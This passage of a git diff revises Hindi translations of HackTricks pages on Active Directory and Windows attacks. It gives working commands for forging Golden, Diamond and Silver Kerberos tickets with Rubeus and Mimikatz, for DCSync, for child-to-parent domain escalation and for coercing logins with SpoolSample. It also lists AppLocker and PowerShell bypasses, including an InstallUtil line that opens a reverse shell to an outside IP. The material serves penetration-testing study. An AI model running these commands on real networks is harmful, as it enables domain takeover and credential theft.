करना** (`netdom trust /domain: /quarantine:yes on the domain controller`) -- **एकल फॉरेस्ट के भीतर डोमेन ट्रस्ट पर SID फ़िल्टरिंग लागू करना** अनुशंसित नहीं है क्योंकि यह एक असमर्थित कॉन्फ़िगरेशन है और इससे तोड़ने वाले परिवर्तन हो सकते हैं। यदि एक फॉरेस्ट के भीतर एक डोमेन अविश्वसनीय है, तो इसे फॉरेस्ट का सदस्य नहीं होना चाहिए। इस स्थिति में, पहले विश्वसनीय और अविश्वसनीय डोमेन को अलग-अलग फॉरेस्ट में विभाजित करना आवश्यक है जहां SID फ़िल्टरिंग को इंटरफॉरेस्ट ट्रस्ट पर लागू किया जा सके। +According to the [**docs**](https://technet.microsoft.com/library/cc835085.aspx): +- **फॉरेस्ट ट्रस्ट पर SIDHistory को अक्षम करना** netdom टूल का उपयोग करके (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`) +- **बाहरी ट्रस्ट पर SID फ़िल्टर क्वारंटाइन लागू करना** netdom टूल का उपयोग करके (`netdom trust /domain: /quarantine:yes on the domain controller`) +- **एकल फॉरेस्ट के भीतर डोमेन ट्रस्ट पर SID फ़िल्टरिंग लागू करना** अनुशंसित नहीं है क्योंकि यह एक असमर्थित कॉन्फ़िगरेशन है और इससे तोड़फोड़ करने वाले परिवर्तन हो सकते हैं। यदि एक फॉरेस्ट के भीतर एक डोमेन अविश्वसनीय है, तो इसे फॉरेस्ट का सदस्य नहीं होना चाहिए। इस स्थिति में, पहले विश्वसनीय और अविश्वसनीय डोमेन को अलग-अलग फॉरेस्ट में विभाजित करना आवश्यक है जहां SID फ़िल्टरिंग को इंटरफॉरेस्ट ट्रस्ट पर लागू किया जा सके। इस बारे में अधिक जानकारी के लिए इस पोस्ट की जांच करें: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4) -### डायमंड टिकट (Rubeus + KRBTGT-AES256) +### Diamond Ticket (Rubeus + KRBTGT-AES256) -अंतिम बार जब मैंने यह कोशिश की थी, तो मुझे आर्ग **`/ldap`** जोड़ने की आवश्यकता थी। +अंतिम बार जब मैंने यह कोशिश की थी, तो मुझे arg **`/ldap`** जोड़ने की आवश्यकता थी। ```bash # Use the /sids param Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap @@ -44,7 +44,7 @@ execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domai # You can use "Administrator" as username or any other string ``` -### Golden Ticket (Mimikatz) with KRBTGT-AES256 +### Golden Ticket (Mimikatz) के साथ KRBTGT-AES256 ```bash mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid: /sids: /aes256: /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit" @@ -63,6 +63,7 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid ``` गोल्डन टिकट के बारे में अधिक जानकारी के लिए देखें: + {{#ref}} golden-ticket.md {{#endref}} @@ -70,6 +71,7 @@ golden-ticket.md डायमंड टिकट के बारे में अधिक जानकारी के लिए देखें: + {{#ref}} diamond-ticket.md {{#endref}} @@ -120,7 +122,7 @@ psexec.py /Administrator@dc.root.local -k -no-pass -target-ip 10.1 ``` #### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) -यह एक Impacket स्क्रिप्ट है जो **बच्चे से माता-पिता के डोमेन में वृद्धि को स्वचालित करेगी**। स्क्रिप्ट को आवश्यकता है: +यह एक Impacket स्क्रिप्ट है जो **बच्चे से माता-पिता के डोमेन में वृद्धि करने की प्रक्रिया को स्वचालित करेगी**। स्क्रिप्ट को आवश्यकता है: - लक्षित डोमेन नियंत्रक - बच्चे के डोमेन में एक व्यवस्थापक उपयोगकर्ता के लिए क्रेडेंशियल्स diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 66547db2e..66e28af8f 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -2,8 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - - ## Silver ticket **Silver Ticket** हमला Active Directory (AD) वातावरण में सेवा टिकटों के शोषण से संबंधित है। यह विधि **सेवा खाते का NTLM हैश प्राप्त करने** पर निर्भर करती है, जैसे कि एक कंप्यूटर खाता, ताकि एक टिकट ग्रांटिंग सेवा (TGS) टिकट को forge किया जा सके। इस forged टिकट के साथ, एक हमलावर नेटवर्क पर विशिष्ट सेवाओं तक पहुँच सकता है, **किसी भी उपयोगकर्ता का अनुकरण करते हुए**, आमतौर पर प्रशासनिक विशेषाधिकारों के लिए लक्ष्य बनाते हुए। यह जोर दिया गया है कि टिकटों को forge करने के लिए AES कुंजी का उपयोग करना अधिक सुरक्षित और कम पहचानने योग्य है। @@ -64,15 +62,15 @@ CIFS सेवा को पीड़ित की फ़ाइल प्रण ## स्थिरता -मशीनों को हर 30 दिनों में अपना पासवर्ड बदलने से रोकने के लिए `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` सेट करें या आप `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` को 30 दिनों से बड़े मान पर सेट कर सकते हैं ताकि यह संकेत दिया जा सके कि मशीन का पासवर्ड कब बदला जाना चाहिए। +मशीनों को हर 30 दिनों में अपना पासवर्ड बदलने से रोकने के लिए `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` सेट करें या आप `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` को 30 दिनों से अधिक के बड़े मान पर सेट कर सकते हैं ताकि यह संकेत दिया जा सके कि मशीन के पासवर्ड को कब बदलना चाहिए। ## सेवा टिकटों का दुरुपयोग -निम्नलिखित उदाहरणों में कल्पना करें कि टिकट को व्यवस्थापक खाते का अनुकरण करते हुए पुनः प्राप्त किया गया है। +निम्नलिखित उदाहरणों में कल्पना करें कि टिकट को व्यवस्थापक खाते का अनुकरण करते हुए प्राप्त किया गया है। ### CIFS -इस टिकट के साथ आप **SMB** के माध्यम से `C$` और `ADMIN$` फ़ोल्डर तक पहुँच प्राप्त कर सकेंगे (यदि वे उजागर हैं) और फ़ाइलों को दूरस्थ फ़ाइल प्रणाली के एक भाग में कॉपी कर सकेंगे, बस कुछ ऐसा करते हुए: +इस टिकट के साथ आप **SMB** के माध्यम से `C$` और `ADMIN$` फ़ोल्डर तक पहुँच सकते हैं (यदि वे उजागर हैं) और फ़ाइलों को दूरस्थ फ़ाइल प्रणाली के एक भाग में कॉपी कर सकते हैं, बस कुछ ऐसा करते हुए: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ @@ -118,11 +116,11 @@ wmic remote.computer.local list full /format:list ### HOST + WSMAN (WINRM) -winrm के माध्यम से एक कंप्यूटर पर पहुँचने पर आप **इसका उपयोग कर सकते हैं** और यहाँ तक कि एक PowerShell प्राप्त कर सकते हैं: +winrm एक्सेस के साथ एक कंप्यूटर पर आप **इसका उपयोग कर सकते हैं** और यहां तक कि एक PowerShell प्राप्त कर सकते हैं: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -इस पृष्ठ को देखें **winrm का उपयोग करके एक दूरस्थ होस्ट से कनेक्ट करने के अधिक तरीकों के लिए**: +इस पृष्ठ को देखें ताकि आप **winrm का उपयोग करके एक दूरस्थ होस्ट से कनेक्ट करने के अधिक तरीकों** के बारे में जान सकें: {{#ref}} ../lateral-movement/winrm.md @@ -139,6 +137,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc ``` **DCSync के बारे में अधिक जानें** निम्नलिखित पृष्ठ पर: + {{#ref}} dcsync.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index 8ed5199e2..d3e007fc6 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -4,9 +4,9 @@ ## Unconstrained delegation -यह एक विशेषता है जिसे एक डोमेन प्रशासक डोमेन के अंदर किसी भी **कंप्यूटर** पर सेट कर सकता है। फिर, जब भी कोई **उपयोगकर्ता उस कंप्यूटर पर लॉगिन करता है**, उस उपयोगकर्ता का **TGT की एक प्रति** **DC द्वारा प्रदान किए गए TGS के अंदर भेजी जाएगी** **और LSASS में मेमोरी में सहेजी जाएगी**। इसलिए, यदि आपके पास मशीन पर प्रशासक विशेषाधिकार हैं, तो आप **टिकटों को डंप कर सकते हैं और किसी भी मशीन पर उपयोगकर्ताओं का अनुकरण कर सकते हैं**। +यह एक विशेषता है जिसे एक डोमेन प्रशासक डोमेन के अंदर किसी भी **कंप्यूटर** पर सेट कर सकता है। फिर, जब भी कोई **उपयोगकर्ता उस कंप्यूटर पर लॉगिन करता है**, उस उपयोगकर्ता का **TGT की एक प्रति** **DC द्वारा प्रदान किए गए TGS में भेजी जाएगी** **और LSASS में मेमोरी में सहेजी जाएगी**। इसलिए, यदि आपके पास मशीन पर प्रशासक विशेषाधिकार हैं, तो आप **टिकटों को डंप कर सकते हैं और किसी भी मशीन पर उपयोगकर्ताओं का अनुकरण कर सकते हैं**। -तो यदि एक डोमेन प्रशासक "Unconstrained Delegation" विशेषता सक्रिय होने के साथ किसी कंप्यूटर पर लॉगिन करता है, और आपके पास उस मशीन के अंदर स्थानीय प्रशासक विशेषाधिकार हैं, तो आप टिकट को डंप कर सकते हैं और कहीं भी डोमेन प्रशासक का अनुकरण कर सकते हैं (डोमेन प्रिवेस्क)। +तो यदि एक डोमेन प्रशासक "Unconstrained Delegation" विशेषता सक्रिय होने के साथ किसी कंप्यूटर पर लॉगिन करता है, और आपके पास उस मशीन पर स्थानीय प्रशासक विशेषाधिकार हैं, तो आप टिकट को डंप कर सकते हैं और कहीं भी डोमेन प्रशासक का अनुकरण कर सकते हैं (डोमेन प्रिवेस्क)। आप इस विशेषता के साथ **कंप्यूटर ऑब्जेक्ट्स को खोज सकते हैं** यह जांचकर कि [userAccountControl]() विशेषता में [ADS_UF_TRUSTED_FOR_DELEGATION]() शामिल है या नहीं। आप इसे ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’ LDAP फ़िल्टर के साथ कर सकते हैं, जो कि पॉवerview करता है: ```bash @@ -37,7 +37,7 @@ Administrator (या पीड़ित उपयोगकर्ता) का ### **प्रमाणन को मजबूर करें** यदि एक हमलावर **"Unconstrained Delegation"** के लिए अनुमति प्राप्त कंप्यूटर को **समझौता** करने में सक्षम है, तो वह **Print server** को **स्वचालित रूप से लॉगिन** करने के लिए **धोखा** दे सकता है **जिससे एक TGT** सर्वर की मेमोरी में सहेजा जाएगा।\ -फिर, हमलावर **Print server कंप्यूटर खाते का प्रतिनिधित्व करने के लिए Pass the Ticket हमला** कर सकता है। +फिर, हमलावर **Print server कंप्यूटर खाते** के उपयोगकर्ता का **प्रतिरूपण करने के लिए Pass the Ticket हमला** कर सकता है। किसी भी मशीन के खिलाफ प्रिंट सर्वर को लॉगिन कराने के लिए आप [**SpoolSample**](https://github.com/leechristensen/SpoolSample) का उपयोग कर सकते हैं: ```bash @@ -48,6 +48,7 @@ Administrator (या पीड़ित उपयोगकर्ता) का यहाँ **प्रमाणीकरण को मजबूर करने** के अन्य तरीके खोजें: + {{#ref}} printers-spooler-service-abuse.md {{#endref}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index ddef07211..e155acf05 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -6,7 +6,7 @@ एक एप्लिकेशन व्हाइटलिस्ट एक अनुमोदित सॉफ़्टवेयर एप्लिकेशन या निष्पादन योग्य फ़ाइलों की सूची है जो एक सिस्टम पर मौजूद और चलाने की अनुमति है। इसका लक्ष्य पर्यावरण को हानिकारक मैलवेयर और अप्रूव्ड सॉफ़्टवेयर से बचाना है जो किसी संगठन की विशिष्ट व्यावसायिक आवश्यकताओं के साथ मेल नहीं खाता। -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) माइक्रोसॉफ्ट का **एप्लिकेशन व्हाइटलिस्टिंग समाधान** है और सिस्टम प्रशासकों को **यह नियंत्रित करने की अनुमति देता है कि उपयोगकर्ता कौन से एप्लिकेशन और फ़ाइलें चला सकते हैं**। यह निष्पादन योग्य फ़ाइलों, स्क्रिप्ट, विंडोज इंस्टॉलर फ़ाइलों, DLLs, पैकेज्ड ऐप्स, और पैक्ड ऐप इंस्टॉलर पर **सूक्ष्म नियंत्रण** प्रदान करता है।\ +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) माइक्रोसॉफ्ट का **एप्लिकेशन व्हाइटलिस्टिंग समाधान** है और सिस्टम प्रशासकों को **यह नियंत्रित करने की अनुमति देता है कि उपयोगकर्ता कौन सी एप्लिकेशन और फ़ाइलें चला सकते हैं**। यह निष्पादन योग्य फ़ाइलों, स्क्रिप्ट, विंडोज इंस्टॉलर फ़ाइलों, DLLs, पैकेज्ड ऐप्स, और पैक्ड ऐप इंस्टॉलर पर **सूक्ष्म नियंत्रण** प्रदान करता है।\ यह सामान्य है कि संगठन **cmd.exe और PowerShell.exe** को ब्लॉक करते हैं और कुछ निर्देशिकाओं में लिखने की अनुमति देते हैं, **लेकिन इसे सभी को बायपास किया जा सकता है**। ### Check @@ -33,9 +33,9 @@ C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- सामान्यतः **विश्वसनीय** [**"LOLBAS's"**](https://lolbas-project.github.io/) बाइनरीज़ AppLocker को बायपास करने के लिए उपयोगी हो सकते हैं। +- सामान्यतः **विश्वसनीय** [**"LOLBAS's"**](https://lolbas-project.github.io/) बाइनरीज़ AppLocker को बायपास करने के लिए उपयोगी हो सकती हैं। - **खराब लिखे गए नियमों को भी बायपास किया जा सकता है** -- उदाहरण के लिए, **``**, आप कहीं भी एक **फोल्डर `allowed`** बना सकते हैं और इसे अनुमति दी जाएगी। +- उदाहरण के लिए, **``**, आप कहीं भी एक **फोल्डर `allowed`** नाम से बना सकते हैं और इसे अनुमति दी जाएगी। - संगठन अक्सर **`%System32%\WindowsPowerShell\v1.0\powershell.exe` निष्पादन योग्य** को **ब्लॉक करने** पर ध्यान केंद्रित करते हैं, लेकिन **अन्य** [**PowerShell निष्पादन योग्य स्थानों**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) को भूल जाते हैं जैसे कि `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` या `PowerShell_ISE.exe`। - **DLL प्रवर्तन बहुत कम सक्षम** होता है क्योंकि यह सिस्टम पर अतिरिक्त लोड डाल सकता है, और यह सुनिश्चित करने के लिए आवश्यक परीक्षण की मात्रा। इसलिए **DLLs को बैकडोर के रूप में उपयोग करना AppLocker को बायपास करने में मदद करेगा**। - आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके **Powershell** कोड को किसी भी प्रक्रिया में निष्पादित कर सकते हैं और AppLocker को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). @@ -108,14 +108,14 @@ EFS फ़ाइलों को एन्क्रिप्शन के मा **उपयोगकर्ता की पहल के बिना डिक्रिप्शन परिदृश्य** में शामिल हैं: - जब फ़ाइलें या फ़ोल्डर को गैर-EFS फ़ाइल सिस्टम में स्थानांतरित किया जाता है, जैसे [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), तो वे स्वचालित रूप से डिक्रिप्ट हो जाते हैं। -- नेटवर्क के माध्यम से SMB/CIFS प्रोटोकॉल के माध्यम से भेजी गई एन्क्रिप्टेड फ़ाइलें प्रसारण से पहले डिक्रिप्ट की जाती हैं। +- SMB/CIFS प्रोटोकॉल के माध्यम से नेटवर्क पर भेजी गई एन्क्रिप्टेड फ़ाइलें प्रसारण से पहले डिक्रिप्ट की जाती हैं। -यह एन्क्रिप्शन विधि मालिक के लिए एन्क्रिप्टेड फ़ाइलों तक **पारदर्शी पहुंच** की अनुमति देती है। हालाँकि, केवल मालिक का पासवर्ड बदलने और लॉगिन करने से डिक्रिप्शन की अनुमति नहीं मिलेगी। +यह एन्क्रिप्शन विधि मालिक के लिए एन्क्रिप्टेड फ़ाइलों तक **पारदर्शी पहुंच** की अनुमति देती है। हालाँकि, केवल मालिक का पासवर्ड बदलने और लॉग इन करने से डिक्रिप्शन की अनुमति नहीं मिलेगी। -**मुख्य बिंदु**: +**मुख्य बातें**: - EFS एक समानांतर FEK का उपयोग करता है, जो उपयोगकर्ता की सार्वजनिक कुंजी के साथ एन्क्रिप्ट किया गया है। -- डिक्रिप्शन उपयोगकर्ता की निजी कुंजी का उपयोग करके FEK तक पहुंच प्राप्त करता है। +- डिक्रिप्शन के लिए उपयोगकर्ता की निजी कुंजी का उपयोग किया जाता है ताकि FEK तक पहुंचा जा सके। - स्वचालित डिक्रिप्शन विशिष्ट परिस्थितियों के तहत होता है, जैसे FAT32 में कॉपी करना या नेटवर्क ट्रांसमिशन। - एन्क्रिप्टेड फ़ाइलें मालिक के लिए बिना अतिरिक्त कदमों के सुलभ होती हैं। @@ -134,6 +134,7 @@ EFS फ़ाइलों को एन्क्रिप्शन के मा #### Knowing the users password + {{#ref}} https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files {{#endref}} @@ -142,11 +143,11 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files Microsoft ने IT बुनियादी ढांचों में सेवा खातों के प्रबंधन को सरल बनाने के लिए **Group Managed Service Accounts (gMSA)** विकसित किया। पारंपरिक सेवा खातों के विपरीत जिनमें अक्सर "**पासवर्ड कभी समाप्त नहीं होता**" सेटिंग सक्षम होती है, gMSA एक अधिक सुरक्षित और प्रबंधनीय समाधान प्रदान करते हैं: -- **स्वचालित पासवर्ड प्रबंधन**: gMSA एक जटिल, 240-चरित्र पासवर्ड का उपयोग करते हैं जो डोमेन या कंप्यूटर नीति के अनुसार स्वचालित रूप से बदलता है। यह प्रक्रिया Microsoft की की वितरण सेवा (KDC) द्वारा संभाली जाती है, जिससे मैन्युअल पासवर्ड अपडेट की आवश्यकता समाप्त हो जाती है। +- **स्वचालित पासवर्ड प्रबंधन**: gMSA एक जटिल, 240-चरित्र पासवर्ड का उपयोग करते हैं जो डोमेन या कंप्यूटर नीति के अनुसार स्वचालित रूप से बदलता है। यह प्रक्रिया Microsoft की की वितरण सेवा (KDC) द्वारा संभाली जाती है, जिससे मैनुअल पासवर्ड अपडेट की आवश्यकता समाप्त हो जाती है। - **सुरक्षा में वृद्धि**: ये खाते लॉकआउट के प्रति प्रतिरक्षित होते हैं और इंटरैक्टिव लॉगिन के लिए उपयोग नहीं किए जा सकते, जिससे उनकी सुरक्षा बढ़ती है। - **कई होस्ट समर्थन**: gMSA को कई होस्टों के बीच साझा किया जा सकता है, जिससे वे कई सर्वरों पर चलने वाली सेवाओं के लिए आदर्श बन जाते हैं। - **निर्धारित कार्य क्षमता**: प्रबंधित सेवा खातों के विपरीत, gMSA निर्धारित कार्यों को चलाने का समर्थन करते हैं। -- **सरल SPN प्रबंधन**: जब कंप्यूटर के sAMaccount विवरण या DNS नाम में परिवर्तन होते हैं, तो प्रणाली स्वचालित रूप से सेवा प्रिंसिपल नाम (SPN) को अपडेट करती है, जिससे SPN प्रबंधन सरल हो जाता है। +- **सरल SPN प्रबंधन**: जब कंप्यूटर के sAMaccount विवरण या DNS नाम में परिवर्तन होते हैं, तो सिस्टम स्वचालित रूप से सेवा प्रिंसिपल नाम (SPN) को अपडेट करता है, जिससे SPN प्रबंधन सरल हो जाता है। gMSA के लिए पासवर्ड LDAP प्रॉपर्टी _**msDS-ManagedPassword**_ में संग्रहीत होते हैं और डोमेन नियंत्रकों (DCs) द्वारा हर 30 दिन में स्वचालित रूप से रीसेट किए जाते हैं। यह पासवर्ड, जिसे [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) के रूप में जाना जाता है, केवल अधिकृत प्रशासकों और उन सर्वरों द्वारा पुनः प्राप्त किया जा सकता है जिन पर gMSA स्थापित हैं, जिससे एक सुरक्षित वातावरण सुनिश्चित होता है। इस जानकारी तक पहुँचने के लिए, एक सुरक्षित कनेक्शन जैसे LDAPS की आवश्यकता होती है, या कनेक्शन को 'Sealing & Secure' के साथ प्रमाणित किया जाना चाहिए। @@ -193,7 +194,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके **Powershell** कोड को किसी भी प्रक्रिया में निष्पादित कर सकते हैं और सीमित मोड को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके किसी भी प्रक्रिया में **Powershell** कोड को निष्पादित कर सकते हैं और सीमित मोड को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## PS निष्पादन नीति @@ -223,9 +224,9 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel यह API है जिसका उपयोग उपयोगकर्ताओं को प्रमाणित करने के लिए किया जा सकता है। -SSPI उन दो मशीनों के लिए उपयुक्त प्रोटोकॉल खोजने के लिए जिम्मेदार होगा जो संवाद करना चाहती हैं। इसके लिए पसंदीदा विधि Kerberos है। फिर SSPI यह बातचीत करेगा कि कौन सा प्रमाणीकरण प्रोटोकॉल उपयोग किया जाएगा, इन प्रमाणीकरण प्रोटोकॉल को Security Support Provider (SSP) कहा जाता है, जो प्रत्येक Windows मशीन के अंदर DLL के रूप में स्थित होते हैं और दोनों मशीनों को संवाद करने के लिए समान का समर्थन करना चाहिए। +SSPI उन दो मशीनों के लिए उपयुक्त प्रोटोकॉल खोजने का कार्य करेगा जो संवाद करना चाहती हैं। इसके लिए पसंदीदा विधि Kerberos है। फिर SSPI यह तय करेगा कि कौन सा प्रमाणीकरण प्रोटोकॉल उपयोग किया जाएगा, इन प्रमाणीकरण प्रोटोकॉल को Security Support Provider (SSP) कहा जाता है, जो प्रत्येक Windows मशीन के अंदर DLL के रूप में स्थित होते हैं और दोनों मशीनों को संवाद करने के लिए एक ही का समर्थन करना चाहिए। -### Main SSPs +### मुख्य SSPs - **Kerberos**: पसंदीदा - %windir%\Windows\System32\kerberos.dll @@ -238,11 +239,11 @@ SSPI उन दो मशीनों के लिए उपयुक्त प - **Negotiate**: इसका उपयोग प्रोटोकॉल को बातचीत करने के लिए किया जाता है (Kerberos या NTLM, जिसमें Kerberos डिफ़ॉल्ट है) - %windir%\Windows\System32\lsasrv.dll -#### The negotiation could offer several methods or only one. +#### बातचीत कई विधियाँ या केवल एक ही पेश कर सकती है। ## UAC - User Account Control -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उन्नत गतिविधियों के लिए सहमति प्रॉम्प्ट** सक्षम करती है। +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उन्नत गतिविधियों के लिए सहमति संकेत** सक्षम करती है। {{#ref}} authentication-credentials-uac-and-efs/uac-user-account-control.md diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 41103a44e..56ae1d860 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -6,8 +6,8 @@ एक एप्लिकेशन व्हाइटलिस्ट एक अनुमोदित सॉफ़्टवेयर एप्लिकेशन या निष्पादन योग्य फ़ाइलों की सूची है जो एक सिस्टम पर मौजूद और चलाने की अनुमति है। इसका लक्ष्य पर्यावरण को हानिकारक मैलवेयर और अप्रूव्ड सॉफ़्टवेयर से बचाना है जो किसी संगठन की विशिष्ट व्यावसायिक आवश्यकताओं के साथ मेल नहीं खाता। -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) माइक्रोसॉफ्ट का **एप्लिकेशन व्हाइटलिस्टिंग समाधान** है और सिस्टम प्रशासकों को **यह नियंत्रित करने की अनुमति देता है कि उपयोगकर्ता कौन सी एप्लिकेशन और फ़ाइलें चला सकते हैं**। यह निष्पादन योग्य फ़ाइलों, स्क्रिप्ट, विंडोज इंस्टॉलर फ़ाइलों, DLLs, पैकेज्ड ऐप्स, और पैक्ड ऐप इंस्टॉलर पर **सूक्ष्म नियंत्रण** प्रदान करता है।\ -यह सामान्य है कि संगठन **cmd.exe और PowerShell.exe** और कुछ निर्देशिकाओं में लिखने की अनुमति को **ब्लॉक करते हैं, लेकिन इसे सभी को बायपास किया जा सकता है**। +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) माइक्रोसॉफ्ट का **एप्लिकेशन व्हाइटलिस्टिंग समाधान** है और सिस्टम प्रशासकों को **यह नियंत्रित करने की अनुमति देता है कि उपयोगकर्ता कौन सी एप्लिकेशन और फ़ाइलें चला सकते हैं**। यह निष्पादन योग्य फ़ाइलों, स्क्रिप्टों, विंडोज इंस्टॉलर फ़ाइलों, DLLs, पैकेज्ड ऐप्स, और पैक्ड ऐप इंस्टॉलर पर **सूक्ष्म नियंत्रण** प्रदान करता है।\ +यह सामान्य है कि संगठन **cmd.exe और PowerShell.exe** को ब्लॉक करते हैं और कुछ निर्देशिकाओं में लिखने की अनुमति देते हैं, **लेकिन इसे सभी को बायपास किया जा सकता है**। ### Check @@ -35,8 +35,8 @@ C:\windows\tracing ``` - सामान्यतः **विश्वसनीय** [**"LOLBAS's"**](https://lolbas-project.github.io/) बाइनरीज़ AppLocker को बायपास करने के लिए उपयोगी हो सकती हैं। - **खराब लिखे गए नियमों को भी बायपास किया जा सकता है** -- उदाहरण के लिए, **``**, आप कहीं भी एक **फोल्डर `allowed`** बना सकते हैं और इसे अनुमति दी जाएगी। -- संगठन अक्सर **`%System32%\WindowsPowerShell\v1.0\powershell.exe` निष्पादन योग्य** को ब्लॉक करने पर ध्यान केंद्रित करते हैं, लेकिन **अन्य** [**PowerShell निष्पादन योग्य स्थानों**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) को भूल जाते हैं जैसे कि `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` या `PowerShell_ISE.exe`। +- उदाहरण के लिए, **``**, आप कहीं भी एक **फोल्डर `allowed`** नाम से बना सकते हैं और इसे अनुमति दी जाएगी। +- संगठन अक्सर **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** निष्पादन योग्य को **ब्लॉक करने** पर ध्यान केंद्रित करते हैं, लेकिन **अन्य** [**PowerShell निष्पादन योग्य स्थानों**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) को भूल जाते हैं जैसे कि `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` या `PowerShell_ISE.exe`। - **DLL प्रवर्तन बहुत कम सक्षम** होता है क्योंकि यह सिस्टम पर अतिरिक्त लोड डाल सकता है, और यह सुनिश्चित करने के लिए आवश्यक परीक्षण की मात्रा। इसलिए **DLLs को बैकडोर के रूप में उपयोग करना AppLocker को बायपास करने में मदद करेगा**। - आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके **Powershell** कोड को किसी भी प्रक्रिया में निष्पादित कर सकते हैं और AppLocker को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: 